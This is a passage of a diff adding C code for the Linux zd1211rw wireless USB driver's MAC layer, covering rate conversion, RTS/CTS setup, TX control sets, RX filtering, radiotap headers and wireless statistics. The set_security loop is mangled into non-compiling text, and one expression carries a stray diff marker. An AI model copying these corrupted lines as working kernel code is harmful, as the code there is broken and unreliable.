IEEE80211_CCK_RATE_2MB: + return ZD_CCK_RATE_2M; + case IEEE80211_CCK_RATE_5MB: + return ZD_CCK_RATE_5_5M; + case IEEE80211_CCK_RATE_11MB: + return ZD_CCK_RATE_11M; + case IEEE80211_OFDM_RATE_6MB: + return ZD_OFDM_RATE_6M; + case IEEE80211_OFDM_RATE_9MB: + return ZD_OFDM_RATE_9M; + case IEEE80211_OFDM_RATE_12MB: + return ZD_OFDM_RATE_12M; + case IEEE80211_OFDM_RATE_18MB: + return ZD_OFDM_RATE_18M; + case IEEE80211_OFDM_RATE_24MB: + return ZD_OFDM_RATE_24M; + case IEEE80211_OFDM_RATE_36MB: + return ZD_OFDM_RATE_36M; + case IEEE80211_OFDM_RATE_48MB: + return ZD_OFDM_RATE_48M; + case IEEE80211_OFDM_RATE_54MB: + return ZD_OFDM_RATE_54M; + } + return ZD_CCK_RATE_1M; +} + +static u16 rate_to_cr_rate(u8 rate) +{ + switch (rate) { + case IEEE80211_CCK_RATE_2MB: + return CR_RATE_1M; + case IEEE80211_CCK_RATE_5MB: + return CR_RATE_5_5M; + case IEEE80211_CCK_RATE_11MB: + return CR_RATE_11M; + case IEEE80211_OFDM_RATE_6MB: + return CR_RATE_6M; + case IEEE80211_OFDM_RATE_9MB: + return CR_RATE_9M; + case IEEE80211_OFDM_RATE_12MB: + return CR_RATE_12M; + case IEEE80211_OFDM_RATE_18MB: + return CR_RATE_18M; + case IEEE80211_OFDM_RATE_24MB: + return CR_RATE_24M; + case IEEE80211_OFDM_RATE_36MB: + return CR_RATE_36M; + case IEEE80211_OFDM_RATE_48MB: + return CR_RATE_48M; + case IEEE80211_OFDM_RATE_54MB: + return CR_RATE_54M; + } + return CR_RATE_1M; +} + +static void try_enable_tx(struct zd_mac *mac) +{ + unsigned long flags; + + spin_lock_irqsave(&mac->lock, flags); + if (mac->updating_rts_rate == 0 && mac->updating_basic_rates == 0) + netif_wake_queue(mac->netdev); + spin_unlock_irqrestore(&mac->lock, flags); +} + +static void set_rts_cts_work(struct work_struct *work) +{ + struct zd_mac *mac = + container_of(work, struct zd_mac, set_rts_cts_work.work); + unsigned long flags; + u8 rts_rate; + unsigned int short_preamble; + + mutex_lock(&mac->chip.mutex); + + spin_lock_irqsave(&mac->lock, flags); + mac->updating_rts_rate = 0; + rts_rate = mac->rts_rate; + short_preamble = mac->short_preamble; + spin_unlock_irqrestore(&mac->lock, flags); + + zd_chip_set_rts_cts_rate_locked(&mac->chip, rts_rate, short_preamble); + mutex_unlock(&mac->chip.mutex); + + try_enable_tx(mac); +} + +static void set_basic_rates_work(struct work_struct *work) +{ + struct zd_mac *mac = + container_of(work, struct zd_mac, set_basic_rates_work.work); + unsigned long flags; + u16 basic_rates; + + mutex_lock(&mac->chip.mutex); + + spin_lock_irqsave(&mac->lock, flags); + mac->updating_basic_rates = 0; + basic_rates = mac->basic_rates; + spin_unlock_irqrestore(&mac->lock, flags); + + zd_chip_set_basic_rates_locked(&mac->chip, basic_rates); + mutex_unlock(&mac->chip.mutex); + + try_enable_tx(mac); +} + +static void bssinfo_change(struct net_device *netdev, u32 changes) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + struct ieee80211softmac_device *softmac = ieee80211_priv(netdev); + struct ieee80211softmac_bss_info *bssinfo = &softmac->bssinfo; + int need_set_rts_cts = 0; + int need_set_rates = 0; + u16 basic_rates; + unsigned long flags; + + dev_dbg_f(zd_mac_dev(mac), "changes: %x\n", changes); + + if (changes & IEEE80211SOFTMAC_BSSINFOCHG_SHORT_PREAMBLE) { + spin_lock_irqsave(&mac->lock, flags); + mac->short_preamble = bssinfo->short_preamble; + spin_unlock_irqrestore(&mac->lock, flags); + need_set_rts_cts = 1; + } + + if (changes & IEEE80211SOFTMAC_BSSINFOCHG_RATES) { + /* Set RTS rate to highest available basic rate */ + u8 hi_rate = ieee80211softmac_highest_supported_rate(softmac, + &bssinfo->supported_rates, 1); + hi_rate = rate_to_zd_rate(hi_rate); + + spin_lock_irqsave(&mac->lock, flags); + if (hi_rate != mac->rts_rate) { + mac->rts_rate = hi_rate; + need_set_rts_cts = 1; + } + spin_unlock_irqrestore(&mac->lock, flags); + + /* Set basic rates */ + need_set_rates = 1; + if (bssinfo->supported_rates.count == 0) { + /* Allow the device to be flexible */ + basic_rates = CR_RATES_80211B | CR_RATES_80211G; + } else { + int i = 0; + basic_rates = 0; + + for (i = 0; i < bssinfo->supported_rates.count; i++) { + u16 rate = bssinfo->supported_rates.rates[i]; + if ((rate & IEEE80211_BASIC_RATE_MASK) == 0) + continue; + + rate &= ~IEEE80211_BASIC_RATE_MASK; + basic_rates |= rate_to_cr_rate(rate); + } + } + spin_lock_irqsave(&mac->lock, flags); + mac->basic_rates = basic_rates; + spin_unlock_irqrestore(&mac->lock, flags); + } + + /* Schedule any changes we made above */ + + spin_lock_irqsave(&mac->lock, flags); + if (need_set_rts_cts && !mac->updating_rts_rate) { + mac->updating_rts_rate = 1; + netif_stop_queue(mac->netdev); + queue_delayed_work(zd_workqueue, &mac->set_rts_cts_work, 0); + } + if (need_set_rates && !mac->updating_basic_rates) { + mac->updating_basic_rates = 1; + netif_stop_queue(mac->netdev); + queue_delayed_work(zd_workqueue, &mac->set_basic_rates_work, + 0); + } + spin_unlock_irqrestore(&mac->lock, flags); +} + +static void set_channel(struct net_device *netdev, u8 channel) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + + dev_dbg_f(zd_mac_dev(mac), "channel %d\n", channel); + + zd_chip_set_channel(&mac->chip, channel); +} + +int zd_mac_request_channel(struct zd_mac *mac, u8 channel) +{ + unsigned long lock_flags; + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + + if (ieee->iw_mode == IW_MODE_INFRA) + return -EPERM; + + spin_lock_irqsave(&mac->lock, lock_flags); + if (!zd_regdomain_supports_channel(mac->regdomain, channel)) { + spin_unlock_irqrestore(&mac->lock, lock_flags); + return -EINVAL; + } + mac->requested_channel = channel; + spin_unlock_irqrestore(&mac->lock, lock_flags); + if (netif_running(mac->netdev)) + return zd_chip_set_channel(&mac->chip, channel); + else + return 0; +} + +u8 zd_mac_get_channel(struct zd_mac *mac) +{ + u8 channel = zd_chip_get_channel(&mac->chip); + + dev_dbg_f(zd_mac_dev(mac), "channel %u\n", channel); + return channel; +} + +/* If wrong rate is given, we are falling back to the slowest rate: 1MBit/s */ +static u8 zd_rate_typed(u8 zd_rate) +{ + static const u8 typed_rates[16] = { + [ZD_CCK_RATE_1M] = ZD_CS_CCK|ZD_CCK_RATE_1M, + [ZD_CCK_RATE_2M] = ZD_CS_CCK|ZD_CCK_RATE_2M, + [ZD_CCK_RATE_5_5M] = ZD_CS_CCK|ZD_CCK_RATE_5_5M, + [ZD_CCK_RATE_11M] = ZD_CS_CCK|ZD_CCK_RATE_11M, + [ZD_OFDM_RATE_6M] = ZD_CS_OFDM|ZD_OFDM_RATE_6M, + [ZD_OFDM_RATE_9M] = ZD_CS_OFDM|ZD_OFDM_RATE_9M, + [ZD_OFDM_RATE_12M] = ZD_CS_OFDM|ZD_OFDM_RATE_12M, + [ZD_OFDM_RATE_18M] = ZD_CS_OFDM|ZD_OFDM_RATE_18M, + [ZD_OFDM_RATE_24M] = ZD_CS_OFDM|ZD_OFDM_RATE_24M, + [ZD_OFDM_RATE_36M] = ZD_CS_OFDM|ZD_OFDM_RATE_36M, + [ZD_OFDM_RATE_48M] = ZD_CS_OFDM|ZD_OFDM_RATE_48M, + [ZD_OFDM_RATE_54M] = ZD_CS_OFDM|ZD_OFDM_RATE_54M, + }; + + ZD_ASSERT(ZD_CS_RATE_MASK == 0x0f); + return typed_rates[zd_rate & ZD_CS_RATE_MASK]; +} + +int zd_mac_set_mode(struct zd_mac *mac, u32 mode) +{ + struct ieee80211_device *ieee; + + switch (mode) { + case IW_MODE_AUTO: + case IW_MODE_ADHOC: + case IW_MODE_INFRA: + mac->netdev->type = ARPHRD_ETHER; + break; + case IW_MODE_MONITOR: + mac->netdev->type = ARPHRD_IEEE80211_RADIOTAP; + break; + default: + dev_dbg_f(zd_mac_dev(mac), "wrong mode %u\n", mode); + return -EINVAL; + } + + ieee = zd_mac_to_ieee80211(mac); + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&ieee->lock); + ieee->iw_mode = mode; + spin_unlock_irq(&ieee->lock); + + if (netif_running(mac->netdev)) + return reset_mode(mac); + + return 0; +} + +int zd_mac_get_mode(struct zd_mac *mac, u32 *mode) +{ + unsigned long flags; + struct ieee80211_device *ieee; + + ieee = zd_mac_to_ieee80211(mac); + spin_lock_irqsave(&ieee->lock, flags); + *mode = ieee->iw_mode; + spin_unlock_irqrestore(&ieee->lock, flags); + return 0; +} + +int zd_mac_get_range(struct zd_mac *mac, struct iw_range *range) +{ + int i; + const struct channel_range *channel_range; + u8 regdomain; + + memset(range, 0, sizeof(*range)); + + /* FIXME: Not so important and depends on the mode. For 802.11g + * usually this value is used. It seems to be that Bit/s number is + * given here. + */ + range->throughput = 27 * 1000 * 1000; + + range->max_qual.qual = 100; + range->max_qual.level = 100; + + /* FIXME: Needs still to be tuned. */ + range->avg_qual.qual = 71; + range->avg_qual.level = 80; + + /* FIXME: depends on standard? */ + range->min_rts = 256; + range->max_rts = 2346; + + range->min_frag = MIN_FRAG_THRESHOLD; + range->max_frag = MAX_FRAG_THRESHOLD; + + range->max_encoding_tokens = WEP_KEYS; + range->num_encoding_sizes = 2; + range->encoding_size[0] = 5; + range->encoding_size[1] = WEP_KEY_LEN; + + range->we_version_compiled = WIRELESS_EXT; + range->we_version_source = 20; + + range->enc_capa = IW_ENC_CAPA_WPA | IW_ENC_CAPA_WPA2 | + IW_ENC_CAPA_CIPHER_TKIP | IW_ENC_CAPA_CIPHER_CCMP; + + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&mac->lock); + regdomain = mac->regdomain; + spin_unlock_irq(&mac->lock); + channel_range = zd_channel_range(regdomain); + + range->num_channels = channel_range->end - channel_range->start; + range->old_num_channels = range->num_channels; + range->num_frequency = range->num_channels; + range->old_num_frequency = range->num_frequency; + + for (i = 0; i < range->num_frequency; i++) { + struct iw_freq *freq = &range->freq[i]; + freq->i = channel_range->start + i; + zd_channel_to_freq(freq, freq->i); + } + + return 0; +} + +static int zd_calc_tx_length_us(u8 *service, u8 zd_rate, u16 tx_length) +{ + static const u8 rate_divisor[] = { + [ZD_CCK_RATE_1M] = 1, + [ZD_CCK_RATE_2M] = 2, + [ZD_CCK_RATE_5_5M] = 11, /* bits must be doubled */ + [ZD_CCK_RATE_11M] = 11, + [ZD_OFDM_RATE_6M] = 6, + [ZD_OFDM_RATE_9M] = 9, + [ZD_OFDM_RATE_12M] = 12, + [ZD_OFDM_RATE_18M] = 18, + [ZD_OFDM_RATE_24M] = 24, + [ZD_OFDM_RATE_36M] = 36, + [ZD_OFDM_RATE_48M] = 48, + [ZD_OFDM_RATE_54M] = 54, + }; + + u32 bits = (u32)tx_length * 8; + u32 divisor; + + divisor = rate_divisor[zd_rate]; + if (divisor == 0) + return -EINVAL; + + switch (zd_rate) { + case ZD_CCK_RATE_5_5M: + bits = (2*bits) + 10; /* round up to the next integer */ + break; + case ZD_CCK_RATE_11M: + if (service) { + u32 t = bits % 11; + *service &= ~ZD_PLCP_SERVICE_LENGTH_EXTENSION; + if (0 < t && t <= 3) { + *service |= ZD_PLCP_SERVICE_LENGTH_EXTENSION; + } + } + bits += 10; /* round up to the next integer */ + break; + } + + return bits/divisor; +} + +enum { + R2M_SHORT_PREAMBLE = 0x01, + R2M_11A = 0x02, +}; + +static u8 zd_rate_to_modulation(u8 zd_rate, int flags) +{ + u8 modulation; + + modulation = zd_rate_typed(zd_rate); + if (flags & R2M_SHORT_PREAMBLE) { + switch (ZD_CS_RATE(modulation)) { + case ZD_CCK_RATE_2M: + case ZD_CCK_RATE_5_5M: + case ZD_CCK_RATE_11M: + modulation |= ZD_CS_CCK_PREA_SHORT; + return modulation; + } + } + if (flags & R2M_11A) { + if (ZD_CS_TYPE(modulation) == ZD_CS_OFDM) + modulation |= ZD_CS_OFDM_MODE_11A; + } + return modulation; +} + +static void cs_set_modulation(struct zd_mac *mac, struct zd_ctrlset *cs, + struct ieee80211_hdr_4addr *hdr) +{ + struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + u16 ftype = WLAN_FC_GET_TYPE(le16_to_cpu(hdr->frame_ctl)); + u8 rate, zd_rate; + int is_mgt = (ftype == IEEE80211_FTYPE_MGMT) != 0; + int is_multicast = is_multicast_ether_addr(hdr->addr1); + int short_preamble = ieee80211softmac_short_preamble_ok(softmac, + is_multicast, is_mgt); + int flags = 0; + + /* FIXME: 802.11a? */ + rate = ieee80211softmac_suggest_txrate(softmac, is_multicast, is_mgt); + + if (short_preamble) + flags |= R2M_SHORT_PREAMBLE; + + zd_rate = rate_to_zd_rate(rate); + cs->modulation = zd_rate_to_modulation(zd_rate, flags); +} + +static void cs_set_control(struct zd_mac *mac, struct zd_ctrlset *cs, + struct ieee80211_hdr_4addr *header) +{ + struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + unsigned int tx_length = le16_to_cpu(cs->tx_length); + u16 fctl = le16_to_cpu(header->frame_ctl); + u16 ftype = WLAN_FC_GET_TYPE(fctl); + u16 stype = WLAN_FC_GET_STYPE(fctl); + + /* + * CONTROL TODO: + * - if backoff needed, enable bit 0 + * - if burst (backoff not needed) disable bit 0 + */ + + cs->control = 0; + + /* First fragment */ + if (WLAN_GET_SEQ_FRAG(le16_to_cpu(header->seq_ctl)) == 0) + cs->control |= ZD_CS_NEED_RANDOM_BACKOFF; + + /* Multicast */ + if (is_multicast_ether_addr(header->addr1)) + cs->control |= ZD_CS_MULTICAST; + + /* PS-POLL */ + if (stype == IEEE80211_STYPE_PSPOLL) + cs->control |= ZD_CS_PS_POLL_FRAME; + + /* Unicast data frames over the threshold should have RTS */ + if (!is_multicast_ether_addr(header->addr1) && + ftype != IEEE80211_FTYPE_MGMT && + tx_length > zd_netdev_ieee80211(mac->netdev)->rts) + cs->control |= ZD_CS_RTS; + + /* Use CTS-to-self protection if required */ + if (ZD_CS_TYPE(cs->modulation) == ZD_CS_OFDM && + ieee80211softmac_protection_needed(softmac)) { + /* FIXME: avoid sending RTS *and* self-CTS, is that correct? */ + cs->control &= ~ZD_CS_RTS; + cs->control |= ZD_CS_SELF_CTS; + } + + /* FIXME: Management frame? */ +} + +static int fill_ctrlset(struct zd_mac *mac, + struct ieee80211_txb *txb, + int frag_num) +{ + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + int r; + struct sk_buff *skb = txb->fragments[frag_num]; + struct ieee80211_hdr_4addr *hdr = + (struct ieee80211_hdr_4addr *) skb->data; + unsigned int frag_len = skb->len + IEEE80211_FCS_LEN; + unsigned int next_frag_len; + unsigned int packet_length; + struct zd_ctrlset *cs = (struct zd_ctrlset *) + skb_push(skb, sizeof(struct zd_ctrlset)); + + if (frag_num+1 < txb->nr_frags) { + next_frag_len = txb->fragments[frag_num+1]->len + + IEEE80211_FCS_LEN; + } else { + next_frag_len = 0; + } + ZD_ASSERT(frag_len <= 0xffff); + ZD_ASSERT(next_frag_len <= 0xffff); + + cs_set_modulation(mac, cs, hdr); + + cs->tx_length = cpu_to_le16(frag_len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); + + packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; + ZD_ASSERT(packet_length <= 0xffff); + /* ZD1211B: Computing the length difference this way, gives us + * flexibility to compute the packet length. + */ + cs->packet_length = cpu_to_le16(mac->chip.is_zd1211b ? + packet_length - frag_len : packet_length); + + /* + * CURRENT LENGTH: + * - transmit frame length in microseconds + * - seems to be derived from frame length + * - see Cal_Us_Service() in zdinlinef.h + * - if macp->bTxBurstEnable is enabled, then multiply by 4 + * - bTxBurstEnable is never set in the vendor driver + * + * SERVICE: + * - "for PLCP configuration" + * - always 0 except in some situations at 802.11b 11M + * - see line 53 of zdinlinef.h + */ + cs->service = 0; + r = zd_calc_tx_length_us(&cs->service, ZD_CS_RATE(cs->modulation), + le16_to_cpu(cs->tx_length)); + if (r < 0) + return r; + cs->current_length = cpu_to_le16(r); + + if (next_frag_len == 0) { + cs->next_frame_length = 0; + } else { + r = zd_calc_tx_length_us(NULL, ZD_CS_RATE(cs->modulation), + next_frag_len); + if (r < 0) + return r; + cs->next_frame_length = cpu_to_le16(r); + } + + return 0; +} + +static int zd_mac_tx(struct zd_mac *mac, struct ieee80211_txb *txb, int pri) +{ + int i, r; + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + + for (i = 0; i < txb->nr_frags; i++) { + struct sk_buff *skb = txb->fragments[i]; + + r = fill_ctrlset(mac, txb, i); + if (r) { + ieee->stats.tx_dropped++; + return r; + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + if (r) { + ieee->stats.tx_dropped++; + return r; + } + } + + /* FIXME: shouldn't this be handled by the upper layers? */ + mac->netdev->trans_start = jiffies; + + ieee80211_txb_free(txb); + return 0; +} + +struct zd_rt_hdr { + struct ieee80211_radiotap_header rt_hdr; + u8 rt_flags; + u8 rt_rate; + u16 rt_channel; + u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; +} __attribute__((packed)); + +static void fill_rt_header(void *buffer, struct zd_mac *mac, + const struct ieee80211_rx_stats *stats, + const struct rx_status *status) +{ + struct zd_rt_hdr *hdr = buffer; + + hdr->rt_hdr.it_version = PKTHDR_RADIOTAP_VERSION; + hdr->rt_hdr.it_pad = 0; + hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); + hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | + (1 << IEEE80211_RADIOTAP_CHANNEL) | + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); + + hdr->rt_flags = 0; + if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) + hdr->rt_flags |= IEEE80211_RADIOTAP_F_WEP; + + hdr->rt_rate = stats->rate / 5; + + /* FIXME: 802.11a */ + hdr->rt_channel = cpu_to_le16(ieee80211chan2mhz( + _zd_chip_get_channel(&mac->chip))); + hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | + ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == + ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; +} + +/* Returns 1 if the data packet is for us and 0 otherwise. */ +static int is_data_packet_for_us(struct ieee80211_device *ieee, + struct ieee80211_hdr_4addr *hdr) +{ + struct net_device *netdev = ieee->dev; + u16 fc = le16_to_cpu(hdr->frame_ctl); + + ZD_ASSERT(WLAN_FC_GET_TYPE(fc) == IEEE80211_FTYPE_DATA); + + switch (ieee->iw_mode) { + case IW_MODE_ADHOC: + if ((fc & (IEEE80211_FCTL_TODS|IEEE80211_FCTL_FROMDS)) != 0 || + compare_ether_addr(hdr->addr3, ieee->bssid) != 0) + return 0; + break; + case IW_MODE_AUTO: + case IW_MODE_INFRA: + if ((fc & (IEEE80211_FCTL_TODS|IEEE80211_FCTL_FROMDS)) != + IEEE80211_FCTL_FROMDS || + compare_ether_addr(hdr->addr2, ieee->bssid) != 0) + return 0; + break; + default: + ZD_ASSERT(ieee->iw_mode != IW_MODE_MONITOR); + return 0; + } + + return compare_ether_addr(hdr->addr1, netdev->dev_addr) == 0 || + (is_multicast_ether_addr(hdr->addr1) && + compare_ether_addr(hdr->addr3, netdev->dev_addr) != 0) || + (netdev->flags & IFF_PROMISC); +} + +/* Filters received packets. The function returns 1 if the packet should be + * forwarded to ieee80211_rx(). If the packet should be ignored the function + * returns 0. If an invalid packet is found the function returns -EINVAL. + * + * The function calls ieee80211_rx_mgt() directly. + * + * It has been based on ieee80211_rx_any. + */ +static int filter_rx(struct ieee80211_device *ieee, + const u8 *buffer, unsigned int length, + struct ieee80211_rx_stats *stats) +{ + struct ieee80211_hdr_4addr *hdr; + u16 fc; + + if (ieee->iw_mode == IW_MODE_MONITOR) + return 1; + + hdr = (struct ieee80211_hdr_4addr *)buffer; + fc = le16_to_cpu(hdr->frame_ctl); + if ((fc & IEEE80211_FCTL_VERS) != 0) + return -EINVAL; + + switch (WLAN_FC_GET_TYPE(fc)) { + case IEEE80211_FTYPE_MGMT: + if (length < sizeof(struct ieee80211_hdr_3addr)) + return -EINVAL; + ieee80211_rx_mgt(ieee, hdr, stats); + return 0; + case IEEE80211_FTYPE_CTL: + return 0; + case IEEE80211_FTYPE_DATA: + /* Ignore invalid short buffers */ + if (length < sizeof(struct ieee80211_hdr_3addr)) + return -EINVAL; + return is_data_packet_for_us(ieee, hdr); + } + + return -EINVAL; +} + +static void update_qual_rssi(struct zd_mac *mac, + const u8 *buffer, unsigned int length, + u8 qual_percent, u8 rssi_percent) +{ + unsigned long flags; + struct ieee80211_hdr_3addr *hdr; + int i; + + hdr = (struct ieee80211_hdr_3addr *)buffer; + if (length < offsetof(struct ieee80211_hdr_3addr, addr3)) + return; + if (compare_ether_addr(hdr->addr2, zd_mac_to_ieee80211(mac)->bssid) != 0) + return; + + spin_lock_irqsave(&mac->lock, flags); + i = mac->stats_count % ZD_MAC_STATS_BUFFER_SIZE; + mac->qual_buffer[i] = qual_percent; + mac->rssi_buffer[i] = rssi_percent; + mac->stats_count++; + spin_unlock_irqrestore(&mac->lock, flags); +} + +static int fill_rx_stats(struct ieee80211_rx_stats *stats, + const struct rx_status **pstatus, + struct zd_mac *mac, + const u8 *buffer, unsigned int length) +{ + const struct rx_status *status; + + *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + ieee->stats.rx_errors++; + if (status->frame_status & ZD_RX_TIMEOUT_ERROR) + ieee->stats.rx_missed_errors++; + else if (status->frame_status & ZD_RX_FIFO_OVERRUN_ERROR) + ieee->stats.rx_fifo_errors++; + else if (status->frame_status & ZD_RX_DECRYPTION_ERROR) + ieee->ieee_stats.rx_discards_undecryptable++; + else if (status->frame_status & ZD_RX_CRC32_ERROR) { + ieee->stats.rx_crc_errors++; + ieee->ieee_stats.rx_fcs_errors++; + } + else if (status->frame_status & ZD_RX_CRC16_ERROR) + ieee->stats.rx_crc_errors++; + return -EINVAL; + } + + memset(stats, 0, sizeof(struct ieee80211_rx_stats)); + stats->len = length - (ZD_PLCP_HEADER_SIZE + IEEE80211_FCS_LEN + + + sizeof(struct rx_status)); + /* FIXME: 802.11a */ + stats->freq = IEEE80211_24GHZ_BAND; + stats->received_channel = _zd_chip_get_channel(&mac->chip); + stats->rssi = zd_rx_strength_percent(status->signal_strength); + stats->signal = zd_rx_qual_percent(buffer, + length - sizeof(struct rx_status), + status); + stats->mask = IEEE80211_STATMASK_RSSI | IEEE80211_STATMASK_SIGNAL; + stats->rate = zd_rx_rate(buffer, status); + if (stats->rate) + stats->mask |= IEEE80211_STATMASK_RATE; + + return 0; +} + +static void zd_mac_rx(struct zd_mac *mac, struct sk_buff *skb) +{ + int r; + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + struct ieee80211_rx_stats stats; + const struct rx_status *status; + + if (skb->len < ZD_PLCP_HEADER_SIZE + IEEE80211_1ADDR_LEN + + IEEE80211_FCS_LEN + sizeof(struct rx_status)) + { + ieee->stats.rx_errors++; + ieee->stats.rx_length_errors++; + goto free_skb; + } + + r = fill_rx_stats(&stats, &status, mac, skb->data, skb->len); + if (r) { + /* Only packets with rx errors are included here. + * The error stats have already been set in fill_rx_stats. + */ + goto free_skb; + } + + __skb_pull(skb, ZD_PLCP_HEADER_SIZE); + __skb_trim(skb, skb->len - + (IEEE80211_FCS_LEN + sizeof(struct rx_status))); + + update_qual_rssi(mac, skb->data, skb->len, stats.signal, + status->signal_strength); + + r = filter_rx(ieee, skb->data, skb->len, &stats); + if (r <= 0) { + if (r < 0) { + ieee->stats.rx_errors++; + dev_dbg_f(zd_mac_dev(mac), "Error in packet.\n"); + } + goto free_skb; + } + + if (ieee->iw_mode == IW_MODE_MONITOR) + fill_rt_header(skb_push(skb, sizeof(struct zd_rt_hdr)), mac, + &stats, status); + + r = ieee80211_rx(ieee, skb, &stats); + if (r) + return; +free_skb: + /* We are always in a soft irq. */ + dev_kfree_skb(skb); +} + +static void do_rx(unsigned long mac_ptr) +{ + struct zd_mac *mac = (struct zd_mac *)mac_ptr; + struct sk_buff *skb; + + while ((skb = skb_dequeue(&mac->rx_queue)) != NULL) + zd_mac_rx(mac, skb); +} + +int zd_mac_rx_irq(struct zd_mac *mac, const u8 *buffer, unsigned int length) +{ + struct sk_buff *skb; + + skb = dev_alloc_skb(sizeof(struct zd_rt_hdr) + length); + if (!skb) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + dev_warn(zd_mac_dev(mac), "Could not allocate skb.\n"); + ieee->stats.rx_dropped++; + return -ENOMEM; + } + skb_reserve(skb, sizeof(struct zd_rt_hdr)); + memcpy(__skb_put(skb, length), buffer, length); + skb_queue_tail(&mac->rx_queue, skb); + tasklet_schedule(&mac->rx_tasklet); + return 0; +} + +static int netdev_tx(struct ieee80211_txb *txb, struct net_device *netdev, + int pri) +{ + return zd_mac_tx(zd_netdev_mac(netdev), txb, pri); +} + +static void set_security(struct net_device *netdev, + struct ieee80211_security *sec) +{ + struct ieee80211_device *ieee = zd_netdev_ieee80211(netdev); + struct ieee80211_security *secinfo = &ieee->sec; + int keyidx; + + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), "\n"); + + for (keyidx = 0; keyidxflags & (1<encode_alg[keyidx] = sec->encode_alg[keyidx]; + secinfo->key_sizes[keyidx] = sec->key_sizes[keyidx]; + memcpy(secinfo->keys[keyidx], sec->keys[keyidx], + SCM_KEY_LEN); + } + + if (sec->flags & SEC_ACTIVE_KEY) { + secinfo->active_key = sec->active_key; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .active_key = %d\n", sec->active_key); + } + if (sec->flags & SEC_UNICAST_GROUP) { + secinfo->unicast_uses_group = sec->unicast_uses_group; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .unicast_uses_group = %d\n", + sec->unicast_uses_group); + } + if (sec->flags & SEC_LEVEL) { + secinfo->level = sec->level; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .level = %d\n", sec->level); + } + if (sec->flags & SEC_ENABLED) { + secinfo->enabled = sec->enabled; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .enabled = %d\n", sec->enabled); + } + if (sec->flags & SEC_ENCRYPT) { + secinfo->encrypt = sec->encrypt; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .encrypt = %d\n", sec->encrypt); + } + if (sec->flags & SEC_AUTH_MODE) { + secinfo->auth_mode = sec->auth_mode; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .auth_mode = %d\n", sec->auth_mode); + } +} + +static void ieee_init(struct ieee80211_device *ieee) +{ + ieee->mode = IEEE_B | IEEE_G; + ieee->freq_band = IEEE80211_24GHZ_BAND; + ieee->modulation = IEEE80211_OFDM_MODULATION | IEEE80211_CCK_MODULATION; + ieee->tx_headroom = sizeof(struct zd_ctrlset); + ieee->set_security = set_security; + ieee->hard_start_xmit = netdev_tx; + + /* Software encryption/decryption for now */ + ieee->host_build_iv = 0; + ieee->host_encrypt = 1; + ieee->host_decrypt = 1; + + /* FIXME: default to managed mode, until ieee80211 and zd1211rw can + * correctly support AUTO */ + ieee->iw_mode = IW_MODE_INFRA; +} + +static void softmac_init(struct ieee80211softmac_device *sm) +{ + sm->set_channel = set_channel; + sm->bssinfo_change = bssinfo_change; +} + +struct iw_statistics *zd_mac_get_wireless_stats(struct net_device *ndev) +{ + struct zd_mac *mac = zd_netdev_mac(ndev); + struct iw_statistics *iw_stats = &mac->iw_stats; + unsigned int i, count, qual_total, rssi_total; + + memset(iw_stats, 0, sizeof(struct iw_statistics)); + /* We are not setting the status, because ieee->state is not updated + * at all and this driver doesn't track authentication state. + */ + spin_lock_irq(&mac->lock); + count = mac->stats_count < ZD_MAC_STATS_BUFFER_SIZE ? + mac->stats_count : ZD_MAC_STATS_BUFFER_SIZE; + qual_total = rssi_total = 0; + for (i = 0; i < count; i++) { + qual_total += mac->qual_buffer[i]; + rssi_total += mac->rssi_buffer[i]; + } + spin_unlock_irq(&mac->lock); + iw_stats->qual.updated = IW_QUAL_NOISE_INVALID; + if (count > 0) { + iw_stats->qual.qual = qual_total / count; + iw_stats->qual.level = rssi_total / count; + iw_stats->qual.updated |= + IW_QUAL_QUAL_UPDATED|IW_QUAL_LEVEL_UPDATED; + } else { + iw_stats->qual.updated |= + IW_QUAL_QUAL_INVALID|IW_QUAL_LEVEL_INVALID; + } + /* TODO: update counter */ + return iw_stats; +} + +#define LINK_LED_WORK_DELAY HZ + +static void link_led_handler(struct work_struct *work) +{ + struct zd_mac *mac = + container_of(work, struct zd_mac, housekeeping.link_led_work.work); + struct zd_chip *chip = &mac->chip; + struct ieee80211softmac_device *sm = ieee80211_priv(mac->netdev); + int is_associated; + int r; + + spin_lock_irq(&mac->lock); + is_associated = 